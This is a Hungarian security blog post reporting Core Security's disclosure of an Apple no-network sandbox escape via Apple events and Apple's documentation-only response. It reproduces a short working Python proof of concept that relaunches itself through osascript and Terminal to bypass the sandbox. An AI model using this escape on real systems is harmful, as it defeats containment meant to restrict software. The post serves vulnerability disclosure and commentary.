Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Hanyag elegancia - Apple sandbox kitörés

2011.11.17. 11:30 | buherator | 2 komment

A Core Security Technologies nem rég egy több szempontból is érdekes blog posztot tett közzé, melyben két sebezhetőség bejelentésének történetét mesélik el, összevetve a gyártók hozzáállását. Az egyik sebezhetőség az Apple hálózati elérést korlátozó sandbox-ából teszi lehetővé a kijutást, egy igen egyszerű módszerrel.

A no-network sandbox profil az Apple dokumentációja szerint megakadályoz minden socket alapú hálózati kommunikációt azon alkalmazásoknak, melyekre a profilt alkalmazzák. A korlátozás ugyanakkor nem terjed ki az ún. Apple események küldésére. A Core Security ugyanakkor megmutatta, hogy ezen események felhasználásával elérhető, hogy egy másik, nem sandboxolt alkalmazásnak "kiszólva" hálózati kapcsolatokat nyissunk. A problémát az alábbi elegáns Python szkript szemlélteti:

import os
import sys
import socket

if len(sys.argv) != 2:
    print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]

try:
    targetIP = sys.argv[1]
    s = socket.socket()
    s.connect((targetIP, 80))
    s.send('GET /\r\n\r\n')
    print(s.recv(1024))
    print "\n\n\n[+] Sandbox escaped"

except Exception, e:
    if "Operation not permitted" in str(e): #print repr(e)
        print "[-] Blocked by seatbelt"
        print "[ ] Escaping..."
        os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP))

A történet legérdekesebb része azonban nem ez, hanem a gyártó reakciója: a profil kijavítása helyett a sandbox dokumentációt fogják frissíteni, kitérve arra, hogy a no-network profil csak addig érvényes, amíg a korlátozandó alkalmazás nem kezd el más folyamatokkal beszélgetni. A reakció már csak azért is meglepő, mert Charlie Miller a fentiekkel gyakorlatilag megegyező technikát prezentált a 2008-as BlackHat JP-n, ami után az Apple javította is a sandbox profilok problémáját.

Lazán kapcsolódó hír, hogy Millert nem rég kitiltották az Apple fejlesztői programjából, miután aláíratlan kód futtatására alkalmas hibát demózott iPhone-on. Ez utóbbi problémáról lesz majd poszt, ha megjelennek a pontos technikai részletek.

Címkék: apple bug sandbox charlie miller core security caveat emptor

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

conscience 2011.11.17. 19:13:25

P*NA!!!

Jobb, ha ezt írom ide, mint a véleményemet... :D

Mindenesetre a fogás érdekes.

domi007 2011.11.17. 23:23:16

Charlie Miller eléggé rászállt az Apple-re, reméljük lesz következménye is. Személyesen is hatalmas arc amúgy :D